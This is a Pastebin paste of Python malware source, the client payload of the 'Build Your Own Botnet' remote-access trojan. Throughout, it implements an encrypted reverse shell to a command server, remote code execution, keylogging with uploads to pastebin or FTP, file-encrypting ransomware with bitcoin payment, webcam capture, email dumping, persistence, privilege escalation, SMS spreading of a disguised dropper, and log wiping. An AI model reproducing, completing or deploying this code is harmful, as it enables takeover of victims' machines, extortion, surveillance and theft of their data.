missblackhat

Untitled

Apr 25th, 2018
33
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 33.93 KB | None | 0 0
  1. #!/usr/bin/python
  2. """
  3. Build Your Own Botnet
  4. https://github.com/colental/byob
  5. Copyright (c) 2018 Daniel Vega-Myhre
  6. """
  7. from __future__ import print_function
  8.  
  9. # standard libarary
  10. import os
  11. import sys
  12. import time
  13. import json
  14. import zlib
  15. import uuid
  16. import numpy
  17. import Queue
  18. import base64
  19. import ctypes
  20. import pickle
  21. import struct
  22. import socket
  23. import random
  24. import urllib
  25. import urllib2
  26. import marshal
  27. import zipfile
  28. import logging
  29. import itertools
  30. import functools
  31. import threading
  32. import cStringIO
  33. import subprocess
  34. import collections
  35. import logging.handlers
  36.  
  37. # cryptography
  38. import Crypto.Util
  39. import Crypto.Hash.HMAC
  40. import Crypto.Cipher.AES
  41. import Crypto.Hash.SHA256
  42. import Crypto.PublicKey.RSA
  43. import Crypto.Cipher.PKCS1_OAEP
  44.  
  45. # Windows
  46. if os.name is 'nt':
  47. import wmi
  48. import pyHook
  49. import _winreg
  50. import win32com
  51. import pythoncom
  52.  
  53. # byob
  54. from modules import *
  55. else:
  56. from . import *
  57.  
  58.  
  59. class PayloadError(Exception):
  60. pass
  61.  
  62.  
  63. class Payload():
  64. """
  65. Payload (Build Your Own Botnet)
  66. """
  67. _debug = bool()
  68. _abort = bool()
  69.  
  70. def __init__(self, config=None, debug=True):
  71. """
  72. create a Payload instance
  73. """
  74. self._jobs = Queue.Queue()
  75. self._flags = {'connection': threading.Event(), 'mode': threading.Event(), '_prompt': threading.Event()}
  76. self._workers = {}
  77. self._session = {}
  78. self.info = util.system_info()
  79. self.commands = self._commands()
  80.  
  81.  
  82. def _commands(self):
  83. commands = {}
  84. for cmd in vars(Payload):
  85. if hasattr(vars(Payload)[cmd], 'command') and getattr(vars(Payload)[cmd], 'command'):
  86. try:
  87. commands[cmd] = {
  88. 'method': getattr(self, cmd),
  89. 'platforms': getattr(Payload, cmd).platforms,
  90. 'usage': getattr(Payload, cmd).usage,
  91. 'description': getattr(Payload, cmd).func_doc.strip().rstrip()}
  92. except Exception as e:
  93. Payload.debug("{} error: {}".format(self.commands.func_name, str(e)))
  94. return commands
  95.  
  96.  
  97. def _send(self, **kwargs):
  98. try:
  99. if self._flags['connection'].wait(timeout=1.0):
  100. if kwargs.get('result'):
  101. buff = kwargs.get('result')
  102. kwargs.update({'result': buff[:48000]})
  103. data = crypto.encrypt(json.dumps(kwargs), self._session['key'])
  104. self._session['socket'].send(struct.pack('L', len(data)) + data)
  105. if len(buff[48000:]):
  106. kwargs.update({'result': buff[48000:]})
  107. return self._send(**kwargs)
  108. else:
  109. util.debug("connection timed out")
  110. except Exception as e:
  111. util.debug('{} error: {}'.format(self._send.func_name, str(e)))
  112.  
  113.  
  114. def _recv(self, sock=None):
  115. try:
  116. if not sock:
  117. sock = self._session['socket']
  118. header_size = struct.calcsize('L')
  119. header = sock.recv(header_size)
  120. msg_len = struct.unpack('L', header)[0]
  121. data = ''
  122. while len(data) < msg_len:
  123. try:
  124. data += sock.recv(1)
  125. except (socket.timeout, socket.error):
  126. break
  127. if data and bytes(data):
  128. try:
  129. text = crypto.decrypt(data, self._session['key'])
  130. task = json.loads(text)
  131. return task
  132. except Exception as e2:
  133. util.debug('{} error: {}'.format(self._recv.func_name, str(e2)))
  134. except Exception as e:
  135. util.debug("{} error: {}".format(self._recv.func_name, str(e)))
  136.  
  137.  
  138. def _connect_api(self, *args, **kwargs):
  139. ip = socket.gethostbyname(socket.gethostname())
  140. port = kwargs.get('port') if ('port' in kwargs and str(kwargs.get('port')).isdigit()) else 1337
  141. try:
  142. if not kwargs.get('debug'):
  143. if 'config' in kwargs:
  144. url, api = urllib.urlopen(kwargs.get('config')).read().splitlines()
  145. req = urllib2.Request(url)
  146. req.headers = {'API-Key': api}
  147. res = urllib2.urlopen(req).read()
  148. try:
  149. ip = json.loads(res)['main_ip']
  150. if not util.ipv4(ip):
  151. util.debug("{} returned invalid IPv4 address: '{}'".format(self.get_server_addr.func_name, str(ip)))
  152. except Exception as e1:
  153. util.debug("{} error: {}".format(self.addr.func_name, str(e1)))
  154. else:
  155. util.debug("{} error: missing API resources for finding active server".format(self.addr.func_name))
  156. except Exception as e2:
  157. util.debug("{} error: {}".format(self.addr.func_name, str(e2)))
  158. return self.restart(self.addr.func_name)
  159. util.debug("Connecting to {}:{}...".format(ip, port))
  160. return ip, port
  161.  
  162.  
  163. def _connect(self, **kwargs):
  164. try:
  165. sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  166. addr = ('localhost', 1337) if not len(kwargs) else self._connect_api(**kwargs)
  167. sock.connect(addr)
  168. sock.setblocking(True)
  169. self._flags['connection'].set()
  170. return sock
  171. except Exception as e:
  172. util.debug("{} error: {}".format(self.connect.func_name, str(e)))
  173. return self.restart(self.connect.func_name)
  174.  
  175.  
  176. @util.threaded
  177. def _prompt(self, *args, **kwargs):
  178. self._flags['_prompt'].set()
  179. while True:
  180. try:
  181. self._flags['_prompt'].wait()
  182. self._send(**{'id': '0'*64, 'client': self.info['uid'], 'command': '_prompt', 'result': '[%d @ {}]>'.format(os.getcwd())})
  183. self._flags['_prompt'].clear()
  184. except Exception as e:
  185. util.debug("{} error: {}".format(self._prompt.func_name, str(e)))
  186. self._flags['_prompt'].clear()
  187.  
  188.  
  189. def _session_id(self):
  190. try:
  191. if self._flags['connection'].wait(timeout=3.0):
  192. self._session['socket'].sendall(crypto.encrypt(json.dumps(self.info), self._session['key']) + '\n')
  193. buf = ""
  194. attempts = 1
  195. while '\n' not in buf:
  196. try:
  197. buf += self._session['socket'].recv(1024)
  198. except (socket.error, socket.timeout):
  199. if attempts <= 3:
  200. util.debug('Attempt %d failed - no Session ID received from server\nRetrying...' % attempts)
  201. attempts += 1
  202. continue
  203. else:
  204. break
  205. if buf:
  206. return crypto.decrypt(buf.rstrip(), self._session['key']).strip().rstrip()
  207. else:
  208. util.debug("{} timed out".format(self._session_id.func_name))
  209. except Exception as e:
  210. util.debug("{} error: {}".format(self._session_id.func_name, str(e)))
  211. return self.restart(self._session_id.func_name)
  212.  
  213.  
  214. @util.threaded
  215. def _manager(self):
  216. try:
  217. while True:
  218. if self.abort:
  219. break
  220. else:
  221. jobs = self._workers.items()
  222. for task, worker in jobs:
  223. if not worker.is_alive():
  224. dead = self._workers.pop(task, None)
  225. del dead
  226. time.sleep(1)
  227. except Exception as e:
  228. util.debug('{} error: {}'.format(self._manager.func_name, str(e)))
  229.  
  230.  
  231. # commands
  232.  
  233.  
  234. @util.config(platforms=['win32','linux2','darwin'], command=True, usage='cd <path>')
  235. def cd(self, path='.'):
  236. """
  237. change current working directory - args: pathname
  238. """
  239. try:
  240. if os.path.isdir(path):
  241. return os.chdir(path)
  242. else:
  243. return os.chdir('.')
  244. except Exception as e:
  245. util.debug("{} error: {}".format(self.cd.func_name, str(e)))
  246.  
  247.  
  248. @util.config(platforms=['win32','linux2','darwin'], command=True, usage='ls <path>')
  249. def ls(self, path='.'):
  250. """
  251. list directory contents
  252. """
  253. try:
  254. output = []
  255. if os.path.isdir(path):
  256. for line in os.listdir(path):
  257. if len('\n'.join(output + [line])) < 2048:
  258. output.append(line)
  259. else:
  260. break
  261. return '\n'.join(output)
  262. else:
  263. return "Error: path not found"
  264. except Exception as e2:
  265. util.debug("{} error: {}".format(self.ls.func_name, str(e2)))
  266.  
  267.  
  268. @util.config(platforms=['win32','linux2','darwin'], command=True, usage='pwd')
  269. def pwd(self):
  270. """
  271. show name of present working directory
  272. """
  273. try:
  274. return os.getcwd()
  275. except Exception as e:
  276. util.debug("{} error: {}".format(self.pwd.func_name, str(e)))
  277.  
  278.  
  279. @util.config(platforms=['win32','linux2','darwin'], command=True, usage='cat <path>')
  280. def cat(self, path):
  281. """
  282. display file contents
  283. """
  284. try:
  285. output = []
  286. if not os.path.isfile(path):
  287. return "Error: file not found"
  288. for line in open(path, 'rb').readlines():
  289. try:
  290. line = line.rstrip()
  291. if len(line) and not line.isspace():
  292. if len('\n'.join(output + [line])) < 48000:
  293. output.append(line)
  294. else:
  295. break
  296. except Exception as e1:
  297. util.debug("{} error: {}".format(self.cat.func_name, str(e1)))
  298. return '\n'.join(output)
  299. except Exception as e2:
  300. util.debug("{} error: {}".format(self.cat.func_name, str(e2)) )
  301.  
  302.  
  303. @util.config(platforms=['win32','linux2','darwin'], command=True, usage='set <cmd> [key=value]')
  304. def set(self, arg):
  305. """
  306. set client options
  307. """
  308. try:
  309. target, _, opt = arg.partition(' ')
  310. option, _, val = opt.partition('=')
  311. if val.isdigit() and int(val) in (0,1):
  312. val = bool(int(val))
  313. elif val.isdigit():
  314. val = int(val)
  315. elif val.lower() in ('true', 'on', 'enable'):
  316. val = True
  317. elif val.lower() in ('false', 'off', 'disable'):
  318. val = False
  319. elif ',' in val:
  320. val = val.split(',')
  321. if hasattr(self, target):
  322. try:
  323. setattr(getattr(self, target), option, val)
  324. except:
  325. try:
  326. getattr(self, target).func_dict[option] = val
  327. except: pass
  328. try:
  329. return json.dumps(vars(getattr(self, target)))
  330. except:
  331. return bytes(vars(getattr(self, target)))
  332. else:
  333. return "Target attribute '{}' not found".format(str(target))
  334. except Exception as e:
  335. util.debug("{} error: {}".format(self.set.func_name, str(e)))
  336.  
  337.  
  338. @util.config(platforms=['win32','linux2','darwin'], command=True, usage='sms <send/read> [args]')
  339. def phone(self, args):
  340. """
  341. text all host contacts with links to a dropper disguised as Google Docs invite
  342. """
  343. if 'phone' in globals():
  344. mode, _, args = str(args).partition(' ')
  345. if 'send' in mode:
  346. phone_number, _, message = args.partition(' ')
  347. return sms.text_message(phone_number, message)
  348. else:
  349. return 'usage: <send/read> [args]\n arguments:\n\tphone : phone number with country code - no spaces (ex. 18001112222)\n\tmessage : text message to send surrounded by quotes (ex. "example text message")'
  350. else:
  351. return "Error: missing module 'sms'"
  352.  
  353. @util.config(platforms=['win32','linux2','darwin'], command=True, usage='eval <code>')
  354. def eval(self, code):
  355. """
  356. execute Python code in current context
  357. """
  358. try:
  359. return eval(code)
  360. except Exception as e:
  361. util.debug("{} error: {}".format(self.eval.func_name, str(e)))
  362.  
  363.  
  364. @util.config(platforms=['win32','linux2','darwin'], command=True, usage='wget <url>')
  365. def wget(self, url, filename=None):
  366. """
  367. download file from url as temporary file and return filepath
  368. """
  369. if url.startswith('http'):
  370. try:
  371. path, _ = urllib.urlretrieve(url, filename) if filename else urllib.urlretrieve(url)
  372. return path
  373. except Exception as e:
  374. util.debug("{} error: {}".format(self.wget.func_name, str(e)))
  375. else:
  376. return "Invalid target URL - must begin with 'http'"
  377.  
  378.  
  379. @util.config(platforms=['win32','linux2','darwin'], command=True, usage='restart [output]')
  380. def restart(self, output='connection'):
  381. """
  382. restart the client payload
  383. """
  384. try:
  385. util.debug("{} failed - restarting in 3 seconds...".format(output))
  386. self.kill()
  387. time.sleep(3)
  388. os.execl(sys.executable, 'python', sys.argv[0], *sys.argv[1:])
  389. except Exception as e:
  390. util.debug("{} error: {}".format(self.restart.func_name, str(e)))
  391.  
  392.  
  393. @util.config(platforms=['win32','linux2','darwin'], command=True, usage='kill')
  394. def kill(self, debug=False):
  395. """
  396. shutdown the current connection and reset session
  397. """
  398. try:
  399. self._flags['connection'].clear()
  400. self._flags['_prompt'].clear()
  401. if 'socket' in self._session:
  402. if isinstance(self._session['socket'], socket.socket):
  403. self._session['socket'].shutdown(socket.SHUT_RDWR)
  404. self._session['socket'].close()
  405. self._session['socket'] = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  406. self._session['id'] = str()
  407. self._session['key'] = str()
  408. self._session['public_key'] = str()
  409. _workers = self._workers.keys()
  410. for worker in _workers:
  411. try:
  412. self.stop(worker)
  413. except Exception as e2:
  414. util.debug("{} error: {}".format(self.kill.func_name, str(e2)))
  415. except Exception as e:
  416. util.debug("{} error: {}".format(self.kill.func_name, str(e)))
  417.  
  418.  
  419. @util.config(platforms=['win32','linux2','darwin'], command=True, usage='help')
  420. def help(self, cmd=None):
  421. """
  422. list commands with usage information
  423. """
  424. if not cmd:
  425. try:
  426. return json.dumps({self.commands[c]['usage']: self.commands[c]['description'] for c in self.commands})
  427. except Exception as e1:
  428. util.debug("{} error: {}".format(self.help.func_name, str(e1)))
  429. elif hasattr(self, str(cmd)) and '_prompt' not in cmd:
  430. try:
  431. return json.dumps({self.commands[cmd]['usage']: self.commands[cmd]['description']})
  432. except Exception as e2:
  433. util.debug("{} error: {}".format(self.help.func_name, str(e2)))
  434. else:
  435. return "Invalid command - '{}' not found".format(cmd)
  436.  
  437.  
  438. @util.config(platforms=['win32','linux2','darwin'], command=True, usage='show <value>')
  439. def show(self, attribute):
  440. """
  441. show value of an attribute
  442. """
  443. try:
  444. attribute = str(attribute)
  445. if 'jobs' in attribute:
  446. return json.dumps({a: util.status(self._workers[a].name) for a in self._workers if self._workers[a].is_alive()})
  447. elif 'privileges' in attribute:
  448. return json.dumps({'username': self.info.get('username'), 'administrator': 'true' if bool(os.getuid() == 0 if os.name is 'posix' else ctypes.windll.shell32.IsUserAnAdmin()) else 'false'})
  449. elif 'info' in attribute:
  450. return json.dumps(self.info)
  451. elif hasattr(self, attribute):
  452. try:
  453. return json.dumps(getattr(self, attribute))
  454. except:
  455. try:
  456. return json.dumps(vars(getattr(self, attribute)))
  457. except: pass
  458. elif hasattr(self, str('_%s' % attribute)):
  459. try:
  460. return json.dumps(getattr(self, str('_%s' % attribute)))
  461. except:
  462. try:
  463. return json.dumps(vars(getattr(self, str('_%s' % attribute))))
  464. except: pass
  465. else:
  466. return self.show.usage
  467. except Exception as e:
  468. util.debug("'{}' error: {}".format(self._workers.func_name, str(e)))
  469.  
  470.  
  471. @util.config(platforms=['win32','linux2','darwin'], command=True, usage='stop <job>')
  472. def stop(self, target):
  473. """
  474. stop a running job
  475. """
  476. try:
  477. if target in self._workers:
  478. _ = self._workers.pop(target, None)
  479. del _
  480. return "Job '{}' was stopped.".format(target)
  481. else:
  482. return "Job '{}' not found".format(target)
  483. except Exception as e:
  484. util.debug("{} error: {}".format(self.stop.func_name, str(e)))
  485.  
  486.  
  487. @util.config(platforms=['win32','linux2','darwin'], command=True, usage='portscan <target>')
  488. def portscan(self, args):
  489. """
  490. portscan the network to find online hosts and open ports
  491. """
  492. if 'portscan' not in globals():
  493. return "Error: missing module 'portscan'"
  494. try:
  495. mode, _, target = str(args).partition(' ')
  496. if target:
  497. if not util.ipv4(target):
  498. return "Error: invalid IP address '%s'" % target
  499. else:
  500. target = socket.gethostbyname(socket.gethostname())
  501. if hasattr(portscan, mode):
  502. return getattr(portscan, mode)(target)
  503. else:
  504. return "Error: invalid mode '%s'" % mode
  505. except Exception as e:
  506. util.debug("{} error: {}".format(self.portscan.func_name, str(e)))
  507.  
  508.  
  509. @util.config(platforms=['win32','linux2','darwin'], command=True, usage='unzip <file>')
  510. def unzip(self, path):
  511. """
  512. unzip a compressed archive/file
  513. """
  514. if os.path.isfile(path):
  515. try:
  516. _ = zipfile.ZipFile(path).extractall('.')
  517. return os.path.splitext(path)[0]
  518. except Exception as e:
  519. util.debug("{} error: {}".format(self.unzip.func_name, str(e)))
  520. else:
  521. return "File '{}' not found".format(path)
  522.  
  523.  
  524. @util.config(platforms=['win32','darwin'], command=True, usage='outlook <option> [mode]')
  525. def outlook(self, args=None):
  526. """
  527. access Outlook email without authenticating or opening the GUI
  528. """
  529. if 'outlook' not in globals():
  530. return "Error: missing module 'outlook'"
  531. elif not args:
  532. try:
  533. if not outlook.installed():
  534. return "Error: Outlook not installed on this host"
  535. else:
  536. return "Outlook is installed on this host"
  537. except: pass
  538. else:
  539. try:
  540. mode, _, arg = str(args).partition(' ')
  541. if hasattr(outlook % mode):
  542. if 'dump' in mode or 'upload' in mode:
  543. self._workers['outlook'] = threading.Thread(target=getattr(outlook, mode), kwargs={'n': arg}, name=time.time())
  544. self._workers['outlook'].daemon = True
  545. self._workers['outlook'].start()
  546. return "Dumping emails from Outlook inbox"
  547. elif hasattr(outlook, mode):
  548. return getattr(outlook, mode)()
  549. else:
  550. return "Error: invalid mode '%s'" % mode
  551. else:
  552. return "usage: outlook [mode]\n mode: count, dump, search, results"
  553. except Exception as e:
  554. util.debug("{} error: {}".format(self.email.func_name, str(e)))
  555.  
  556.  
  557. @util.config(platforms=['win32','linux2','darwin'], registry_key=r"Software\AngryEggplant", command=True, usage='ransom <mode> [path]')
  558. def ransom(self, args):
  559. """
  560. encrypt personal files and ransom them
  561. """
  562. if 'ransom' not in globals():
  563. return "Error: missing module 'ransom'"
  564. elif not args:
  565. return "\tusage: ransom <encrypt/decrypt> [path]"
  566. else:
  567. cmd, _, action = str(args).partition(' ')
  568. if 'payment' in cmd:
  569. try:
  570. return ransom.payment(action)
  571. except:
  572. return "{} error: {}".format(Payload._ransom_payment.func_name, "bitcoin wallet required for ransom payment")
  573. elif 'decrypt' in cmd:
  574. return ransom.decrypt_threader(action)
  575. elif 'encrypt' in cmd:
  576. reg_key = _winreg.CreateKey(_winreg.HKEY_CURRENT_USER, registry_key)
  577. return ransom.encrypt_threader(action)
  578. else:
  579. return "\tusage: ransom <mode> [path]\n\tmodes: encrypt, decrypt, payment"
  580.  
  581.  
  582. @util.config(platforms=['win32','linux2','darwin'], command=True, usage='upload <mode> [file]')
  583. def upload(self, args):
  584. """
  585. upload file to imgur, pastebin, or ftp server - mode: ftp, imgur, pastebin
  586. """
  587. try:
  588. mode, _, source = str(args).partition(' ')
  589. if not source or not hasattr(util, mode):
  590. return self.upload.usage
  591. return getattr(util, mode)(source)
  592. except Exception as e:
  593. util.debug("{} error: {}".format(self.upload.func_name, str(e)))
  594.  
  595.  
  596. @util.config(platforms=['win32','linux2','darwin'], command=True, usage='webcam <mode> [options]')
  597. def webcam(self, args=None):
  598. """
  599. stream the webcam or capture image/video - args: (image, stream, video)
  600. """
  601. try:
  602. if 'webcam' not in globals():
  603. return "Error: missing module 'webcam'"
  604. elif not args:
  605. result = self.webcam.usage
  606. else:
  607. args = str(args).split()
  608. if 'stream' in args:
  609. if len(args) != 2:
  610. result = "Error - stream mode requires argument: 'port'"
  611. elif not str(args[1]).isdigit():
  612. result = "Error - port must be integer between 1 - 65355"
  613. else:
  614. result = webcam.stream(port=args[1])
  615. else:
  616. result = webcam.image(*args) if 'video' not in args else webcam.video(*args)
  617. except Exception as e:
  618. result = "{} error: {}".format(self.webcam.func_name, str(e))
  619. return result
  620.  
  621.  
  622. @util.config(platforms=['win32'], command=True, usage='escalate')
  623. def escalate(self):
  624. """
  625. attempt to escalate privileges
  626. """
  627. try:
  628. if util.administrator():
  629. return "Current user '{}' has administrator privileges".format(self.info.get('username'))
  630. if os.name is 'nt':
  631. win32com.shell.shell.ShellExecuteEx(lpVerb='runas', lpFile=sys.executable, lpParameters='{} asadmin'.format(self.clients.get('result')))
  632. else:
  633. return "Privilege escalation not yet available on '{}'".format(sys.platform)
  634. except Exception as e:
  635. util.debug("{} error: {}".format(self.escalate.func_name, str(e)))
  636.  
  637.  
  638. @util.config(platforms=['win32','linux2','darwin'], process_list={}, command=True, usage='execute <path> [args]')
  639. def execute(self, args):
  640. """
  641. run an executable program in a hidden process
  642. """
  643. path, args = [i.strip() for i in args.split('"') if i if not i.isspace()] if args.count('"') == 2 else [i for i in args.partition(' ') if i if not i.isspace()]
  644. args = [path] + args.split()
  645. if os.path.isfile(path):
  646. name = os.path.splitext(os.path.basename(path))[0]
  647. try:
  648. info = subprocess.STARTUPINFO()
  649. info.dwFlags = subprocess.STARTF_USESHOWWINDOW , subprocess.CREATE_NEW_ps_GROUP
  650. info.wShowWindow = subprocess.SW_HIDE
  651. self.execute.process_list[name] = subprocess.Popen(args, startupinfo=info)
  652. return "Running '{}' in a hidden process".format(path)
  653. except Exception as e:
  654. try:
  655. self.execute.process_list[name] = subprocess.Popen(args, 0, None, None, subprocess.PIPE, subprocess.PIPE)
  656. return "Running '{}' in a new process".format(name)
  657. except Exception as e:
  658. util.debug("{} error: {}".format(self.execute.func_name, str(e)))
  659. else:
  660. return "File '{}' not found".format(str(path))
  661.  
  662.  
  663. @util.config(platforms=['win32','linux2','darwin'], max_bytes=4000, buffer=cStringIO.StringIO(), window=None, command=True, usage='keylogger start/stop/dump/status')
  664. def keylogger(self, mode=None):
  665. """
  666. log user keystrokes - mode; auto, run, stop, dump, status
  667. """
  668. if 'keylogger' not in globals():
  669. return "Error: missing module 'keylogger'"
  670. elif not mode:
  671. return keylogger.status()
  672. elif not mode:
  673. if 'keylogger' not in self._workers:
  674. return keylogger.usage
  675. else:
  676. return keylogger.status()
  677. else:
  678. if 'run' in mode:
  679. if 'keylogger' not in self._workers:
  680. keylogger._workers['keylogger'] = keylogger.run()
  681. return keylogger.status()
  682. else:
  683. return keylogger.status()
  684. elif 'stop' in mode:
  685. try:
  686. self.stop('keylogger')
  687. except: pass
  688. try:
  689. self.stop('keylogger')
  690. except: pass
  691. return keylogger.status()
  692. elif 'auto' in mode:
  693. self._workers['keylogger'] = keylogger.auto()
  694. return keylogger.status()
  695. elif 'dump' in mode:
  696. result = util.pastebin(keylogger._buffer) if not 'ftp' in mode else util.ftp(keylogger._buffer)
  697. keylogger.buffer.reset()
  698. return result
  699. elif 'status' in mode:
  700. return keylogger.status()
  701. else:
  702. return keylogger.usage + '\n\targs: start, stop, dump'
  703.  
  704.  
  705. @util.config(platforms=['win32','linux2','darwin'], command=True, usage='persistence add/remove [method]')
  706. def persistence(self, args=None):
  707. """
  708. establish persistence - methods: registry_key, scheduled_task, launch_agent, crontab_job, startup_file, hidden_file
  709. """
  710. try:
  711. if not 'persistence' in globals():
  712. return "Error: missing module 'persistence'"
  713. elif not args:
  714. return self.persistence.usage
  715. else:
  716. cmd, _, action = str(args).partition(' ')
  717. methods = [m for m in persistence.methods if sys.platform in persistence.methods[m]['platforms']]
  718. if cmd not in ('add','remove'):
  719. return self.persistence.usage + str('\nmethods: %s' % ', '.join([str(m) for m in persistence.methods if sys.platform in getattr(Payload, '_persistence_add_%s' % m).platforms]))
  720. for method in methods:
  721. if method == 'all' or action == method:
  722. persistence.methods[method]['established'], persistence.methods[method]['result'] = getattr(self, '_'.join(cmd, method))()
  723. return json.dumps({m: persistence.methods[m]['result'] for m in methods})
  724. except Exception as e:
  725. util.debug("{} error: {}".format(self.persistence.func_name, str(e)))
  726. return str(self.persistence.usage + '\nmethods: %s' % ', '.join([m for m in persistence.methods if sys.platform in getattr(Payload, '_persistence_add_%s' % m).platforms]))
  727.  
  728.  
  729. @util.config(platforms=['linux2','darwin'], capture=[], command=True, usage='packetsniffer mode=[str] time=[int]')
  730. def packetsniffer(self, args):
  731. """
  732. capture traffic on local network
  733. """
  734. try:
  735. if 'packetsniffer' not in globals():
  736. return "Error: missing module 'packetsniffer'"
  737. else:
  738. mode = None
  739. length = None
  740. cmd, _, action = str(args).partition(' ')
  741. for arg in action.split():
  742. if arg.isdigit():
  743. length = int(arg)
  744. elif arg in ('ftp','pastebin'):
  745. mode = arg
  746. self._workers[self.packetsniffer.func_name] = packetsniffer(mode, seconds=length)
  747. return 'Capturing network traffic for {} seconds'.format(duration)
  748. except Exception as e:
  749. util.debug("{} error: {}".format(self.packetsniffer.func_name, str(e)))
  750.  
  751.  
  752. @util.config(platforms=['win32'], buffer=cStringIO.StringIO(), max_bytes=1024, command=True, usage='process <mode>s')
  753. def process(self, args=None):
  754. """
  755. process utilities - mode: block, list, monitor, kill, search
  756. """
  757. try:
  758. if 'process' not in globals():
  759. return "Error: missing module 'process'"
  760. elif not args:
  761. return self.ps.usage
  762. else:
  763. cmd, _, action = str(args).partition(' ')
  764. if hasattr(process, cmd):
  765. return getattr(process, cmd)(action) if action else getattr(process, cmd)()
  766. else:
  767. return "usage: {}\n\tmode: block, list, search, kill, monitor\n\t".format(self.ps.usage)
  768. except Exception as e:
  769. util.debug("{} error: {}".format(self.process.func_name, str(e)))
  770.  
  771.  
  772. @util.config(platforms=['win32','linux2','darwin'], command=True, usage='abort')
  773. def abort(self):
  774. """
  775. self-destruct and leave no trace on the disk
  776. """
  777. self.abort = True
  778. try:
  779. if os.name is 'nt':
  780. util.clear_system_logs()
  781. if 'persistence' in globals():
  782. for method in persistence.methods:
  783. if persistence.methods[method].get('established'):
  784. try:
  785. remove = getattr(self, '_persistence_remove_{}'.format(method))()
  786. except Exception as e2:
  787. util.debug("{} error: {}".format(method, str(e2)))
  788. if not self.debug:
  789. util.delete(sys.argv[0])
  790. finally:
  791. shutdown = threading.Thread(target=self.get_shutdown)
  792. taskkill = threading.Thread(target=self.ps, args=('kill python',))
  793. shutdown.start()
  794. taskkill.start()
  795. sys.exit()
  796.  
  797.  
  798. @util.threaded
  799. def reverse_tcp_shell(self):
  800. """
  801. send encrypted shell back to server via outgoing TCP connection
  802. """
  803. try:
  804. self._workers[self._prompt.func_name] = self._prompt()
  805. while True:
  806. if self._flags['connection'].wait(timeout=1.0):
  807. if not self._flags['_prompt'].is_set():
  808. task = self._recv()
  809. if isinstance(task, dict):
  810. cmd, _, action = [i.encode() for i in task['command'].partition(' ')]
  811. try:
  812. result = bytes(getattr(self, cmd)(action) if action else getattr(self, cmd)()) if cmd in sorted([attr for attr in vars(Payload) if not attr.startswith('_')]) else bytes().join(subprocess.Popen(cmd, 0, None, subprocess.PIPE, subprocess.PIPE, subprocess.PIPE, shell=True).communicate())
  813. except Exception as e1:
  814. result = "{} error: {}".format(self.reverse_tcp_shell.func_name, str(e1))
  815. task.update({'result': result})
  816. self._send(**task)
  817. if cmd and cmd in self._flags['tasks'] and 'PRIVATE KEY' not in task['command']:
  818. self.task_save(task, result)
  819. self._flags['_prompt'].set()
  820. else:
  821. util.debug("Connection timed out")
  822. break
  823. except Exception as e2:
  824. util.debug("{} error: {}".format(self.reverse_tcp_shell.func_name, str(e2)))
  825. return self.restart(self.reverse_tcp_shell.func_name)
  826.  
  827.  
  828. def connect(self, **kwargs):
  829. """
  830. connect to server and start new session
  831. """
  832. try:
  833. self._session['socket'] = self._connect(**kwargs)
  834. self._session['key'] = crypto.diffiehellman(self._session['socket'])
  835. self._session['id'] = self._session_id()
  836. return True
  837. except Exception as e:
  838. util.debug("{} error: {}".format(self.connect.func_name, str(e)))
  839. return False
  840.  
  841.  
  842. def run(self, **kwargs):
  843. """
  844. run client startup routine
  845. """
  846. try:
  847. if self.connect(**kwargs):
  848. self._workers[self._manager.func_name] = self._manager()
  849. self._workers[self.reverse_tcp_shell.func_name] = self.reverse_tcp_shell()
  850. else:
  851. util.debug("connection timed out")
  852. except Exception as e:
  853. util.debug("{} error: {}".format(self.run.func_name, str(e)))
  854. return self.restart(self.run.func_name)
  855.  
  856.  
  857.  
  858. def main(*args, **kwargs):
  859. payload = Payload()
  860. payload.run(**kwargs)
  861. return payload
  862.  
  863. if __name__ == "__main__":
  864. payload = main(config='https://pastebin.com/raw/uYGhnVqp', debug=bool('debug' in sys.argv or '--debug' in sys.argv))
Add Comment
Please, Sign In to add comment